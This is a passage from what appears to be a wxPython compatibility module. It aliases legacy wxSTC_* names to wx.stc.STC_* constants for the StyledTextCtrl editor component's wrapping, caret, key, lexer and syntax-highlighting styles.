wx.stc.STC_WRAP_CHAR\nwxSTC_WRAPVISUALFLAG_NONE = wx.stc.STC_WRAPVISUALFLAG_NONE\nwxSTC_WRAPVISUALFLAG_END = wx.stc.STC_WRAPVISUALFLAG_END\nwxSTC_WRAPVISUALFLAG_START = wx.stc.STC_WRAPVISUALFLAG_START\nwxSTC_WRAPVISUALFLAGLOC_DEFAULT = wx.stc.STC_WRAPVISUALFLAGLOC_DEFAULT\nwxSTC_WRAPVISUALFLAGLOC_END_BY_TEXT = wx.stc.STC_WRAPVISUALFLAGLOC_END_BY_TEXT\nwxSTC_WRAPVISUALFLAGLOC_START_BY_TEXT = wx.stc.STC_WRAPVISUALFLAGLOC_START_BY_TEXT\nwxSTC_CACHE_NONE = wx.stc.STC_CACHE_NONE\nwxSTC_CACHE_CARET = wx.stc.STC_CACHE_CARET\nwxSTC_CACHE_PAGE = wx.stc.STC_CACHE_PAGE\nwxSTC_CACHE_DOCUMENT = wx.stc.STC_CACHE_DOCUMENT\nwxSTC_EDGE_NONE = wx.stc.STC_EDGE_NONE\nwxSTC_EDGE_LINE = wx.stc.STC_EDGE_LINE\nwxSTC_EDGE_BACKGROUND = wx.stc.STC_EDGE_BACKGROUND\nwxSTC_CURSORNORMAL = wx.stc.STC_CURSORNORMAL\nwxSTC_CURSORWAIT = wx.stc.STC_CURSORWAIT\nwxSTC_VISIBLE_SLOP = wx.stc.STC_VISIBLE_SLOP\nwxSTC_VISIBLE_STRICT = wx.stc.STC_VISIBLE_STRICT\nwxSTC_CARET_SLOP = wx.stc.STC_CARET_SLOP\nwxSTC_CARET_STRICT = wx.stc.STC_CARET_STRICT\nwxSTC_CARET_JUMPS = wx.stc.STC_CARET_JUMPS\nwxSTC_CARET_EVEN = wx.stc.STC_CARET_EVEN\nwxSTC_SEL_STREAM = wx.stc.STC_SEL_STREAM\nwxSTC_SEL_RECTANGLE = wx.stc.STC_SEL_RECTANGLE\nwxSTC_SEL_LINES = wx.stc.STC_SEL_LINES\nwxSTC_KEYWORDSET_MAX = wx.stc.STC_KEYWORDSET_MAX\nwxSTC_MOD_INSERTTEXT = wx.stc.STC_MOD_INSERTTEXT\nwxSTC_MOD_DELETETEXT = wx.stc.STC_MOD_DELETETEXT\nwxSTC_MOD_CHANGESTYLE = wx.stc.STC_MOD_CHANGESTYLE\nwxSTC_MOD_CHANGEFOLD = wx.stc.STC_MOD_CHANGEFOLD\nwxSTC_PERFORMED_USER = wx.stc.STC_PERFORMED_USER\nwxSTC_PERFORMED_UNDO = wx.stc.STC_PERFORMED_UNDO\nwxSTC_PERFORMED_REDO = wx.stc.STC_PERFORMED_REDO\nwxSTC_MULTISTEPUNDOREDO = wx.stc.STC_MULTISTEPUNDOREDO\nwxSTC_LASTSTEPINUNDOREDO = wx.stc.STC_LASTSTEPINUNDOREDO\nwxSTC_MOD_CHANGEMARKER = wx.stc.STC_MOD_CHANGEMARKER\nwxSTC_MOD_BEFOREINSERT = wx.stc.STC_MOD_BEFOREINSERT\nwxSTC_MOD_BEFOREDELETE = wx.stc.STC_MOD_BEFOREDELETE\nwxSTC_MULTILINEUNDOREDO = wx.stc.STC_MULTILINEUNDOREDO\nwxSTC_MODEVENTMASKALL = wx.stc.STC_MODEVENTMASKALL\nwxSTC_KEY_DOWN = wx.stc.STC_KEY_DOWN\nwxSTC_KEY_UP = wx.stc.STC_KEY_UP\nwxSTC_KEY_LEFT = wx.stc.STC_KEY_LEFT\nwxSTC_KEY_RIGHT = wx.stc.STC_KEY_RIGHT\nwxSTC_KEY_HOME = wx.stc.STC_KEY_HOME\nwxSTC_KEY_END = wx.stc.STC_KEY_END\nwxSTC_KEY_PRIOR = wx.stc.STC_KEY_PRIOR\nwxSTC_KEY_NEXT = wx.stc.STC_KEY_NEXT\nwxSTC_KEY_DELETE = wx.stc.STC_KEY_DELETE\nwxSTC_KEY_INSERT = wx.stc.STC_KEY_INSERT\nwxSTC_KEY_ESCAPE = wx.stc.STC_KEY_ESCAPE\nwxSTC_KEY_BACK = wx.stc.STC_KEY_BACK\nwxSTC_KEY_TAB = wx.stc.STC_KEY_TAB\nwxSTC_KEY_RETURN = wx.stc.STC_KEY_RETURN\nwxSTC_KEY_ADD = wx.stc.STC_KEY_ADD\nwxSTC_KEY_SUBTRACT = wx.stc.STC_KEY_SUBTRACT\nwxSTC_KEY_DIVIDE = wx.stc.STC_KEY_DIVIDE\nwxSTC_SCMOD_NORM = wx.stc.STC_SCMOD_NORM\nwxSTC_SCMOD_SHIFT = wx.stc.STC_SCMOD_SHIFT\nwxSTC_SCMOD_CTRL = wx.stc.STC_SCMOD_CTRL\nwxSTC_SCMOD_ALT = wx.stc.STC_SCMOD_ALT\nwxSTC_LEX_CONTAINER = wx.stc.STC_LEX_CONTAINER\nwxSTC_LEX_NULL = wx.stc.STC_LEX_NULL\nwxSTC_LEX_PYTHON = wx.stc.STC_LEX_PYTHON\nwxSTC_LEX_CPP = wx.stc.STC_LEX_CPP\nwxSTC_LEX_HTML = wx.stc.STC_LEX_HTML\nwxSTC_LEX_XML = wx.stc.STC_LEX_XML\nwxSTC_LEX_PERL = wx.stc.STC_LEX_PERL\nwxSTC_LEX_SQL = wx.stc.STC_LEX_SQL\nwxSTC_LEX_VB = wx.stc.STC_LEX_VB\nwxSTC_LEX_PROPERTIES = wx.stc.STC_LEX_PROPERTIES\nwxSTC_LEX_ERRORLIST = wx.stc.STC_LEX_ERRORLIST\nwxSTC_LEX_MAKEFILE = wx.stc.STC_LEX_MAKEFILE\nwxSTC_LEX_BATCH = wx.stc.STC_LEX_BATCH\nwxSTC_LEX_XCODE = wx.stc.STC_LEX_XCODE\nwxSTC_LEX_LATEX = wx.stc.STC_LEX_LATEX\nwxSTC_LEX_LUA = wx.stc.STC_LEX_LUA\nwxSTC_LEX_DIFF = wx.stc.STC_LEX_DIFF\nwxSTC_LEX_CONF = wx.stc.STC_LEX_CONF\nwxSTC_LEX_PASCAL = wx.stc.STC_LEX_PASCAL\nwxSTC_LEX_AVE = wx.stc.STC_LEX_AVE\nwxSTC_LEX_ADA = wx.stc.STC_LEX_ADA\nwxSTC_LEX_LISP = wx.stc.STC_LEX_LISP\nwxSTC_LEX_RUBY = wx.stc.STC_LEX_RUBY\nwxSTC_LEX_EIFFEL = wx.stc.STC_LEX_EIFFEL\nwxSTC_LEX_EIFFELKW = wx.stc.STC_LEX_EIFFELKW\nwxSTC_LEX_TCL = wx.stc.STC_LEX_TCL\nwxSTC_LEX_NNCRONTAB = wx.stc.STC_LEX_NNCRONTAB\nwxSTC_LEX_BULLANT = wx.stc.STC_LEX_BULLANT\nwxSTC_LEX_VBSCRIPT = wx.stc.STC_LEX_VBSCRIPT\nwxSTC_LEX_BAAN = wx.stc.STC_LEX_BAAN\nwxSTC_LEX_MATLAB = wx.stc.STC_LEX_MATLAB\nwxSTC_LEX_SCRIPTOL = wx.stc.STC_LEX_SCRIPTOL\nwxSTC_LEX_ASM = wx.stc.STC_LEX_ASM\nwxSTC_LEX_CPPNOCASE = wx.stc.STC_LEX_CPPNOCASE\nwxSTC_LEX_FORTRAN = wx.stc.STC_LEX_FORTRAN\nwxSTC_LEX_F77 = wx.stc.STC_LEX_F77\nwxSTC_LEX_CSS = wx.stc.STC_LEX_CSS\nwxSTC_LEX_POV = wx.stc.STC_LEX_POV\nwxSTC_LEX_LOUT = wx.stc.STC_LEX_LOUT\nwxSTC_LEX_ESCRIPT = wx.stc.STC_LEX_ESCRIPT\nwxSTC_LEX_PS = wx.stc.STC_LEX_PS\nwxSTC_LEX_NSIS = wx.stc.STC_LEX_NSIS\nwxSTC_LEX_MMIXAL = wx.stc.STC_LEX_MMIXAL\nwxSTC_LEX_CLW = wx.stc.STC_LEX_CLW\nwxSTC_LEX_CLWNOCASE = wx.stc.STC_LEX_CLWNOCASE\nwxSTC_LEX_LOT = wx.stc.STC_LEX_LOT\nwxSTC_LEX_YAML = wx.stc.STC_LEX_YAML\nwxSTC_LEX_TEX = wx.stc.STC_LEX_TEX\nwxSTC_LEX_METAPOST = wx.stc.STC_LEX_METAPOST\nwxSTC_LEX_POWERBASIC = wx.stc.STC_LEX_POWERBASIC\nwxSTC_LEX_FORTH = wx.stc.STC_LEX_FORTH\nwxSTC_LEX_ERLANG = wx.stc.STC_LEX_ERLANG\nwxSTC_LEX_OCTAVE = wx.stc.STC_LEX_OCTAVE\nwxSTC_LEX_MSSQL = wx.stc.STC_LEX_MSSQL\nwxSTC_LEX_VERILOG = wx.stc.STC_LEX_VERILOG\nwxSTC_LEX_KIX = wx.stc.STC_LEX_KIX\nwxSTC_LEX_GUI4CLI = wx.stc.STC_LEX_GUI4CLI\nwxSTC_LEX_SPECMAN = wx.stc.STC_LEX_SPECMAN\nwxSTC_LEX_AU3 = wx.stc.STC_LEX_AU3\nwxSTC_LEX_APDL = wx.stc.STC_LEX_APDL\nwxSTC_LEX_BASH = wx.stc.STC_LEX_BASH\nwxSTC_LEX_ASN1 = wx.stc.STC_LEX_ASN1\nwxSTC_LEX_VHDL = wx.stc.STC_LEX_VHDL\nwxSTC_LEX_CAML = wx.stc.STC_LEX_CAML\nwxSTC_LEX_BLITZBASIC = wx.stc.STC_LEX_BLITZBASIC\nwxSTC_LEX_PUREBASIC = wx.stc.STC_LEX_PUREBASIC\nwxSTC_LEX_HASKELL = wx.stc.STC_LEX_HASKELL\nwxSTC_LEX_PHPSCRIPT = wx.stc.STC_LEX_PHPSCRIPT\nwxSTC_LEX_TADS3 = wx.stc.STC_LEX_TADS3\nwxSTC_LEX_REBOL = wx.stc.STC_LEX_REBOL\nwxSTC_LEX_SMALLTALK = wx.stc.STC_LEX_SMALLTALK\nwxSTC_LEX_FLAGSHIP = wx.stc.STC_LEX_FLAGSHIP\nwxSTC_LEX_CSOUND = wx.stc.STC_LEX_CSOUND\nwxSTC_LEX_FREEBASIC = wx.stc.STC_LEX_FREEBASIC\nwxSTC_LEX_ASP = 0\nwxSTC_LEX_PHP = 0\nwxSTC_LEX_AUTOMATIC = wx.stc.STC_LEX_AUTOMATIC\nwxSTC_P_DEFAULT = wx.stc.STC_P_DEFAULT\nwxSTC_P_COMMENTLINE = wx.stc.STC_P_COMMENTLINE\nwxSTC_P_NUMBER = wx.stc.STC_P_NUMBER\nwxSTC_P_STRING = wx.stc.STC_P_STRING\nwxSTC_P_CHARACTER = wx.stc.STC_P_CHARACTER\nwxSTC_P_WORD = wx.stc.STC_P_WORD\nwxSTC_P_TRIPLE = wx.stc.STC_P_TRIPLE\nwxSTC_P_TRIPLEDOUBLE = wx.stc.STC_P_TRIPLEDOUBLE\nwxSTC_P_CLASSNAME = wx.stc.STC_P_CLASSNAME\nwxSTC_P_DEFNAME = wx.stc.STC_P_DEFNAME\nwxSTC_P_OPERATOR = wx.stc.STC_P_OPERATOR\nwxSTC_P_IDENTIFIER = wx.stc.STC_P_IDENTIFIER\nwxSTC_P_COMMENTBLOCK = wx.stc.STC_P_COMMENTBLOCK\nwxSTC_P_STRINGEOL = wx.stc.STC_P_STRINGEOL\nwxSTC_P_WORD2 = wx.stc.STC_P_WORD2\nwxSTC_P_DECORATOR = wx.stc.STC_P_DECORATOR\nwxSTC_C_DEFAULT = wx.stc.STC_C_DEFAULT\nwxSTC_C_COMMENT = wx.stc.STC_C_COMMENT\nwxSTC_C_COMMENTLINE = wx.stc.STC_C_COMMENTLINE\nwxSTC_C_COMMENTDOC = wx.stc.STC_C_COMMENTDOC\nwxSTC_C_NUMBER = wx.stc.STC_C_NUMBER\nwxSTC_C_WORD = wx.stc.STC_C_WORD\nwxSTC_C_STRING = wx.stc.STC_C_STRING\nwxSTC_C_CHARACTER = wx.stc.STC_C_CHARACTER\nwxSTC_C_UUID = wx.stc.STC_C_UUID\nwxSTC_C_PREPROCESSOR = wx.stc.STC_C_PREPROCESSOR\nwxSTC_C_OPERATOR = wx.stc.STC_C_OPERATOR\nwxSTC_C_IDENTIFIER = wx.stc.STC_C_IDENTIFIER\nwxSTC_C_STRINGEOL = wx.stc.STC_C_STRINGEOL\nwxSTC_C_VERBATIM = wx.stc.STC_C_VERBATIM\nwxSTC_C_REGEX = wx.stc.STC_C_REGEX\nwxSTC_C_COMMENTLINEDOC = wx.stc.STC_C_COMMENTLINEDOC\nwxSTC_C_WORD2 = wx.stc.STC_C_WORD2\nwxSTC_C_COMMENTDOCKEYWORD = wx.stc.STC_C_COMMENTDOCKEYWORD\nwxSTC_C_COMMENTDOCKEYWORDERROR = wx.stc.STC_C_COMMENTDOCKEYWORDERROR\nwxSTC_C_GLOBALCLASS = wx.stc.STC_C_GLOBALCLASS\nwxSTC_H_DEFAULT = wx.stc.STC_H_DEFAULT\nwxSTC_H_TAG = wx.stc.STC_H_TAG\nwxSTC_H_TAGUNKNOWN = wx.stc.STC_H_TAGUNKNOWN\nwxSTC_H_ATTRIBUTE = wx.stc.STC_H_ATTRIBUTE\nwxSTC_H_ATTRIBUTEUNKNOWN = wx.stc.STC_H_ATTRIBUTEUNKNOWN\nwxSTC_H_NUMBER = wx.stc.STC_H_NUMBER\nwxSTC_H_DOUBLESTRING = wx.stc.STC_H_DOUBLESTRING\nwxSTC_H_SINGLESTRING = wx.stc.STC_H_SINGLESTRING\nwxSTC_H_OTHER = wx.stc.STC_H_OTHER\nwxSTC_H_COMMENT = wx.stc.STC_H_COMMENT\nwxSTC_H_ENTITY = wx.stc.STC_H_ENTITY\nwxSTC_H_TAGEND = wx.stc.STC_H_TAGEND\nwxSTC_H_XMLSTART = wx.stc.STC_H_XMLSTART\nwxSTC_H_XMLEND = wx.stc.STC_H_XMLEND\nwxSTC_H_SCRIPT = wx.stc.STC_H_SCRIPT\nwxSTC_H_ASP = wx.stc.STC_H_ASP\nwxSTC_H_ASPAT = wx.stc.STC_H_ASPAT\nwxSTC_H_CDATA = wx.stc.STC_H_CDATA\nwxSTC_H_QUESTION = wx.stc.STC_H_QUESTION\nwxSTC_H_VALUE = wx.stc.STC_H_VALUE\nwxSTC_H_XCCOMMENT = wx.stc.STC_H_XCCOMMENT\nwxSTC_H_SGML_DEFAULT = wx.stc.STC_H_SGML_DEFAULT\nwxSTC_H_SGML_COMMAND = wx.stc.STC_H_SGML_COMMAND\nwxSTC_H_SGML_1ST_PARAM = wx.stc.STC_H_SGML_1ST_PARAM\nwxSTC_H_SGML_DOUBLESTRING = wx.stc.STC_H_SGML_DOUBLESTRING\nwxSTC_H_SGML_SIMPLESTRING = wx.stc.STC_H_SGML_SIMPLESTRING\nwxSTC_H_SGML_ERROR = wx.stc.STC_H_SGML_ERROR\nwxSTC_H_SGML_SPECIAL = wx.stc.STC_H_SGML_SPECIAL\nwxSTC_H_SGML_ENTITY = wx.stc.STC_H_SGML_ENTITY\nwxSTC_H_SGML_COMMENT = wx.stc.STC_H_SGML_COMMENT\nwxSTC_H_SGML_1ST_PARAM_COMMENT = wx.stc.STC_H_SGML_1ST_PARAM_COMMENT\nwxSTC_H_SGML_BLOCK_DEFAULT = wx.stc.STC_H_SGML_BLOCK_DEFAULT\nwxSTC_HJ_START = wx.stc.STC_HJ_START\nwxSTC_HJ_DEFAULT = wx.stc.STC_HJ_DEFAULT\nwxSTC_HJ_COMMENT = wx.stc.STC_HJ_COMMENT\nwxSTC_HJ_COMMENTLINE = wx.stc.STC_HJ_COMMENTLINE\nwxSTC_HJ_COMMENTDOC = wx.stc.STC_HJ_COMMENTDOC\nwxSTC_HJ_NUMBER = wx.stc.STC_HJ_NUMBER\nwxSTC_HJ_WORD = wx.stc.STC_HJ_WORD\nwxSTC_HJ_KEYWORD = wx.stc.STC_HJ_KEYWORD\nwxSTC_HJ_DOUBLESTRING = wx.stc.STC_HJ_DOUBLESTRING\nwxSTC_HJ_SINGLESTRING = wx.stc.STC_HJ_SINGLESTRING\nwxSTC_HJ_SYMBOLS = wx.stc.STC_HJ_SYMBOLS\nwxSTC_HJ_STRINGEOL = wx.stc.STC_HJ_STRINGEOL\nwxSTC_HJ_REGEX = wx.stc.STC_HJ_REGEX\nwxSTC_HJA_START = wx.stc.STC_HJA_START\nwxSTC_HJA_DEFAULT = wx.stc.STC_HJA_DEFAULT\nwxSTC_HJA_COMMENT = wx.stc.STC_HJA_COMMENT\nwxSTC_HJA_COMMENTLINE = wx.stc.STC_HJA_COMMENTLINE\nwxSTC_HJA_COMMENTDOC = wx.stc.STC_HJA_COMMENTDOC\nwxSTC_HJA_NUMBER = wx.stc.STC_HJA_NUMBER\nwxSTC_HJA_WORD = wx.stc.STC_HJA_WORD\nwxSTC_HJA_KEYWORD = wx.stc.STC_HJA_KEYWORD\nwxSTC_HJA_DOUBLESTRING = wx.stc.STC_HJA_DOUBLESTRING\nwxSTC_HJA_SINGLESTRING = wx.stc.STC_HJA_SINGLESTRING\nwxSTC_HJA_SYMBOLS = wx.stc.STC_HJA_SYMBOLS\nwxSTC_HJA_STRINGEOL = wx.stc.STC_HJA_STRINGEOL\nwxSTC_HJA_REGEX = wx.stc.STC_HJA_REGEX\nwxSTC_HB_START = wx.stc.STC_HB_START\nwxSTC_HB_DEFAULT = wx.stc.STC_HB_DEFAULT\nwxSTC_HB_COMMENTLINE = wx.stc.STC_HB_COMMENTLINE\nwxSTC_HB_NUMBER = wx.stc.STC_HB_NUMBER\nwxSTC_HB_WORD = wx.stc.STC_HB_WORD\nwxSTC_HB_STRING = wx.stc.STC_HB_STRING\nwxSTC_HB_IDENTIFIER = wx.stc.STC_HB_IDENTIFIER\nwxSTC_HB_STRINGEOL = wx.stc.STC_HB_STRINGEOL\nwxSTC_HBA_START = wx.stc.STC_HBA_START\nwxSTC_HBA_DEFAULT = wx.stc.STC_HBA_DEFAULT\nwxSTC_HBA_COMMENTLINE = wx.stc.STC_HBA_COMMENTLINE\nwxSTC_HBA_NUMBER = wx.stc.STC_HBA_NUMBER\nwxSTC_HBA_WORD = wx.stc.STC_HBA_WORD\nwxSTC_HBA_STRING = wx.stc.STC_HBA_STRING\nwxSTC_HBA_IDENTIFIER = wx.stc.STC_HBA_IDENTIFIER\nwxSTC_HBA_STRINGEOL = wx.stc.STC_HBA_STRINGEOL\nwxSTC_HP_START = wx.stc.STC_HP_START\nwxSTC_HP_DEFAULT = wx.stc.STC_HP_DEFAULT\nwxSTC_HP_COMMENTLINE = wx.stc.STC_HP_COMMENTLINE\nwxSTC_HP_NUMBER = wx.stc.STC_HP_NUMBER\nwxSTC_HP_STRING = wx.stc.STC_HP_STRING\nwxSTC_HP_CHARACTER = wx.stc.STC_HP_CHARACTER\nwxSTC_HP_WORD = wx.stc.STC_HP_WORD\nwxSTC_HP_TRIPLE = wx.stc.STC_HP_TRIPLE\nwxSTC_HP_TRIPLEDOUBLE = wx.stc.STC_HP_TRIPLEDOUBLE\nwxSTC_HP_CLASSNAME = wx.stc.STC_HP_CLASSNAME\nwxSTC_HP_DEFNAME = wx.stc.STC_HP_DEFNAME\nwxSTC_HP_OPERATOR = wx.stc.STC_HP_OPERATOR\nwxSTC_HP_IDENTIFIER = wx.stc.STC_HP_IDENTIFIER\nwxSTC_HPHP_COMPLEX_VARIABLE = wx.stc.STC_HPHP_COMPLEX_VARIABLE\nwxSTC_HPA_START = wx.stc.STC_HPA_START\nwxSTC_HPA_DEFAULT = wx.stc.STC_HPA_DEFAULT\nwxSTC_HPA_COMMENTLINE = wx.stc.STC_HPA_COMMENTLINE\nwxSTC_HPA_NUMBER = wx.stc.STC_HPA_NUMBER\nwxSTC_HPA_STRING = wx.stc.STC_HPA_STRING\nwxSTC_HPA_CHARACTER = wx.stc.STC_HPA_CHARACTER\nwxSTC_HPA_WORD = wx.stc.STC_HPA_WORD\nwxSTC_HPA_TRIPLE = wx.stc.STC_HPA_TRIPLE\nwxSTC_HPA_TRIPLEDOUBLE = wx.stc.STC_HPA_TRIPLEDOUBLE\nwxSTC_HPA_CLASSNAME = wx.stc.STC_HPA_CLASSNAME\nwxSTC_HPA_DEFNAME = wx.stc.STC_HPA_DEFNAME\nwxSTC_HPA_OPERATOR = wx.stc.STC_HPA_OPERATOR\nwxSTC_HPA_IDENTIFIER = wx.stc.STC_HPA_IDENTIFIER\nwxSTC_HPHP_DEFAULT = wx.stc.STC_HPHP_DEFAULT\nwxSTC_HPHP_HSTRING = wx.stc.STC_HPHP_HSTRING\nwxSTC_HPHP_SIMPLESTRING = wx.stc.STC_HPHP_SIMPLESTRING\nwxSTC_HPHP_WORD = wx.stc.STC_HPHP_WORD\nwxSTC_HPHP_NUMBER = wx.stc.STC_HPHP_NUMBER\nwxSTC_HPHP_VARIABLE = wx.stc.STC_HPHP_VARIABLE\nwxSTC_HPHP_COMMENT = wx.stc.STC_HPHP_COMMENT\nwxSTC_HPHP_COMMENTLINE = wx.stc.STC_HPHP_COMMENTLINE\nwxSTC_HPHP_HSTRING_VARIABLE = wx.stc.STC_HPHP_HSTRING_VARIABLE\nwxSTC_HPHP_OPERATOR = wx.stc.STC_HPHP_OPERATOR\nwxSTC_PL_DEFAULT = wx.stc.STC_PL_DEFAULT\nwxSTC_PL_ERROR = wx.stc.STC_PL_ERROR\nwxSTC_PL_COMMENTLINE = wx.stc.STC_PL_COMMENTLINE\nwxSTC_PL_POD = wx.stc.STC_PL_POD\nwxSTC_PL_NUMBER = wx.stc.STC_PL_NUMBER\nwxSTC_PL_WORD = wx.stc.STC_PL_WORD\nwxSTC_PL_STRING = wx.stc.STC_PL_STRING\nwxSTC_PL_CHARACTER = wx.stc.STC_PL_CHARACTER\nwxSTC_PL_PUNCTUATION = wx.stc.STC_PL_PUNCTUATION\nwxSTC_PL_PREPROCESSOR = wx.stc.STC_PL_PREPROCESSOR\nwxSTC_PL_OPERATOR = wx.stc.STC_PL_OPERATOR\nwxSTC_PL_IDENTIFIER = wx.stc.STC_PL_IDENTIFIER\nwxSTC_PL_SCALAR = wx.stc.STC_PL_SCALAR\nwxSTC_PL_ARRAY = wx.stc.STC_PL_ARRAY\nwxSTC_PL_HASH = wx.stc.STC_PL_HASH\nwxSTC_PL_SYMBOLTABLE = wx.stc.STC_PL_SYMBOLTABLE\nwxSTC_PL_VARIABLE_INDEXER = wx.stc.STC_PL_VARIABLE_INDEXER\nwxSTC_PL_REGEX = wx.stc.STC_PL_REGEX\nwxSTC_PL_REGSUBST = wx.stc.STC_PL_REGSUBST\nwxSTC_PL_LONGQUOTE = wx.stc.STC_PL_LONGQUOTE\nwxSTC_PL_BACKTICKS = wx.stc.STC_PL_BACKTICKS\nwxSTC_PL_DATASECTION = wx.stc.STC_PL_DATASECTION\nwxSTC_PL_HERE_DELIM = wx.stc.STC_PL_HERE_DELIM\nwxSTC_PL_HERE_Q = wx.stc.STC_PL_HERE_Q\nwxSTC_PL_HERE_QQ = wx.stc.STC_PL_HERE_QQ\nwxSTC_PL_HERE_QX = wx.stc.STC_PL_HERE_QX\nwxSTC_PL_STRING_Q = wx.stc.STC_PL_STRING_Q\nwxSTC_PL_STRING_QQ = wx.stc.STC_PL_STRING_QQ\nwxSTC_PL_STRING_QX = wx.stc.STC_PL_STRING_QX\nwxSTC_PL_STRING_QR = wx.stc.STC_PL_STRING_QR\nwxSTC_PL_STRING_QW = wx.stc.STC_PL_STRING_QW\nwxSTC_PL_POD_VERB = wx.stc.STC_PL_POD_VERB\nwxSTC_RB_DEFAULT = wx.stc.STC_RB_DEFAULT\nwxSTC_RB_ERROR = wx.stc.STC_RB_ERROR\nwxSTC_RB_COMMENTLINE = wx.stc.STC_RB_COMMENTLINE\nwxSTC_RB_POD = wx.stc.STC_RB_POD\nwxSTC_RB_NUMBER = wx.stc.STC_RB_NUMBER\nwxSTC_RB_WORD = wx.stc.STC_RB_WORD\nwxSTC_RB_STRING = wx.stc.STC_RB_STRING\nwxSTC_RB_CHARACTER = wx.stc.STC_RB_CHARACTER\nwxSTC_RB_CLASSNAME = wx.stc.STC_RB_CLASSNAME\nwxSTC_RB_DEFNAME = wx.stc.STC_RB_DEFNAME\nwxSTC_RB_OPERATOR = wx.stc.STC_RB_OPERATOR\nwxSTC_RB_IDENTIFIER = wx.stc.STC_RB_IDENTIFIER\nwxSTC_RB_REGEX = wx.stc.STC_RB_REGEX\nwxSTC_RB_GLOBAL = wx.stc.STC_RB_GLOBAL\nwxSTC_RB_SYMBOL = wx.stc.STC_RB_SYMBOL\nwxSTC_RB_MODULE_NAME = wx.stc.STC_RB_MODULE_NAME\nwxSTC_RB_INSTANCE_VAR = wx.stc.STC_RB_INSTANCE_VAR\nwxSTC_RB_CLASS_VAR = wx.stc.STC_RB_CLASS_VAR\nwxSTC_RB_BACKTICKS = wx.stc.STC_RB_BACKTICKS\nwxSTC_RB_DATASECTION = wx.stc.STC_RB_DATASECTION\nwxSTC_RB_HERE_DELIM = wx.stc.STC_RB_HERE_DELIM\nwxSTC_RB_HERE_Q = wx.stc.STC_RB_HERE_Q\nwxSTC_RB_HERE_QQ = wx.stc.STC_RB_HERE_QQ\nwxSTC_RB_HERE_QX = wx.stc.STC_RB_HERE_QX\nwxSTC_RB_STRING_Q = wx.stc.STC_RB_STRING_Q\nwxSTC_RB_STRING_QQ = wx.stc.STC_RB_STRING_QQ\nwxSTC_RB_STRING_QX = wx.stc.STC_RB_STRING_QX\nwxSTC_RB_STRING_QR = wx.stc.STC_RB_STRING_QR\nwxSTC_RB_STRING_QW = wx.stc.STC_RB_STRING_QW\nwxSTC_RB_WORD_DEMOTED = wx.stc.STC_RB_WORD_DEMOTED\nwxSTC_RB_STDIN = wx.stc.STC_RB_STDIN\nwxSTC_RB_STDOUT = wx.stc.STC_RB_STDOUT\nwxSTC_RB_STDERR = wx.stc.STC_RB_STDERR\nwxSTC_RB_UPPER_BOUND = wx.stc.STC_RB_UPPER_BOUND\nwxSTC_B_DEFAULT = wx.stc.STC_B_DEFAULT\nwxSTC_B_COMMENT = wx.stc.STC_B_COMMENT\nwxSTC_B_NUMBER = wx.stc.STC_B_NUMBER\nwxSTC_B_KEYWORD = wx.stc.STC_B_KEYWORD\nwxSTC_B_STRING = wx.stc.STC_B_STRING\nwxSTC_B_PREPROCESSOR = wx.stc.STC_B_PREPROCESSOR\nwxSTC_B_OPERATOR = wx.stc.STC_B_OPERATOR\nwxSTC_B_IDENTIFIER = wx.stc.STC_B_IDENTIFIER\nwxSTC_B_DATE = wx.stc.STC_B_DATE\nwxSTC_B_STRINGEOL = wx.stc.STC_B_STRINGEOL\nwxSTC_B_KEYWORD2 = wx.stc.STC_B_KEYWORD2\nwxSTC_B_KEYWORD3 = wx.stc.STC_B_KEYWORD3\nwxSTC_B_KEYWORD4 = wx.stc.STC_B_KEYWORD4\nwxSTC_B_CONSTANT = wx.stc.STC_B_CONSTANT\nwxSTC_B_ASM = wx.stc.STC_B_ASM\nwxSTC_B_LABEL = wx.stc.STC_B_LABEL\nwxSTC_B_ERROR = wx.stc.STC_B_ERROR\nwxSTC_B_HEXNUMBER = wx.stc.STC_B_HEXNUMBER\nwxSTC_B_BINNUMBER = wx.stc.STC_B_BINNUMBER\nwxSTC_PROPS_DEFAULT = wx.stc.STC_PROPS_DEFAULT\nwxSTC_PROPS_COMMENT = wx.stc.STC_PROPS_COMMENT\nwxSTC_PROPS_SECTION = wx.stc.STC_PROPS_SECTION\nwxSTC_PROPS_ASSIGNMENT = wx.stc.STC_PROPS_ASSIGNMENT\nwxSTC_PROPS_DEFVAL = wx.stc.STC_PROPS_DEFVAL\nwxSTC_L_DEFAULT = wx.stc.STC_L_DEFAULT\nwxSTC_L_COMMAND = wx.stc.STC_L_COMMAND\nwxSTC_L_TAG = wx.stc.STC_L_TAG\nwxSTC_L_MATH = wx.stc.STC_L_MATH\nwxSTC_L_COMMENT = wx.stc.STC_L_COMMENT\nwxSTC_LUA_DEFAULT = wx.stc.STC_LUA_DEFAULT\nwxSTC_LUA_COMMENT = wx.stc.STC_LUA_COMMENT\nwxSTC_LUA_COMMENTLINE = wx.stc.STC_LUA_COMMENTLINE\nwxSTC_LUA_COMMENTDOC = wx.stc.STC_LUA_COMMENTDOC\nwxSTC_LUA_NUMBER = wx.stc.STC_LUA_NUMBER\nwxSTC_LUA_WORD = wx.stc.STC_LUA_WORD\nwxSTC_LUA_STRING = wx.stc.STC_LUA_STRING\nwxSTC_LUA_CHARACTER = wx.stc.STC_LUA_CHARACTER\nwxSTC_LUA_LITERALSTRING = wx.stc.STC_LUA_LITERALSTRING\nwxSTC_LUA_PREPROCESSOR = wx.stc.STC_LUA_PREPROCESSOR\nwxSTC_LUA_OPERATOR = wx.stc.STC_LUA_OPERATOR\nwxSTC_LUA_IDENTIFIER = wx.stc.STC_LUA_IDENTIFIER\nwxSTC_LUA_STRINGEOL = wx.stc.STC_LUA_STRINGEOL\nwxSTC_LUA_WORD2 = wx.stc.STC_LUA_WORD2\nwxSTC_LUA_WORD3 = wx.stc.STC_LUA_WORD3\nwxSTC_LUA_WORD4 = wx.stc.STC_LUA_WORD4\nwxSTC_LUA_WORD5 = wx.stc.STC_LUA_WORD5\nwxSTC_LUA_WORD6 = wx.stc.STC_LUA_WORD6\nwxSTC_LUA_WORD7 = wx.stc.STC_LUA_WORD7\nwxSTC_LUA_WORD8 = wx.stc.STC_LUA_WORD8\nwxSTC_ERR_DEFAULT = wx.stc.STC_ERR_DEFAULT\nwxSTC_ERR_PYTHON = wx.stc.STC_ERR_PYTHON\nwxSTC_ERR_GCC = wx.stc.STC_ERR_GCC\nwxSTC_ERR_MS = wx.stc.STC_ERR_MS\nwxSTC_ERR_CMD = wx.stc.STC_ERR_CMD\nwxSTC_ERR_BORLAND = wx.stc.STC_ERR_BORLAND\nwxSTC_ERR_PERL = wx.stc.STC_ERR_PERL\nwxSTC_ERR_NET = wx.stc.STC_ERR_NET\nwxSTC_ERR_LUA = 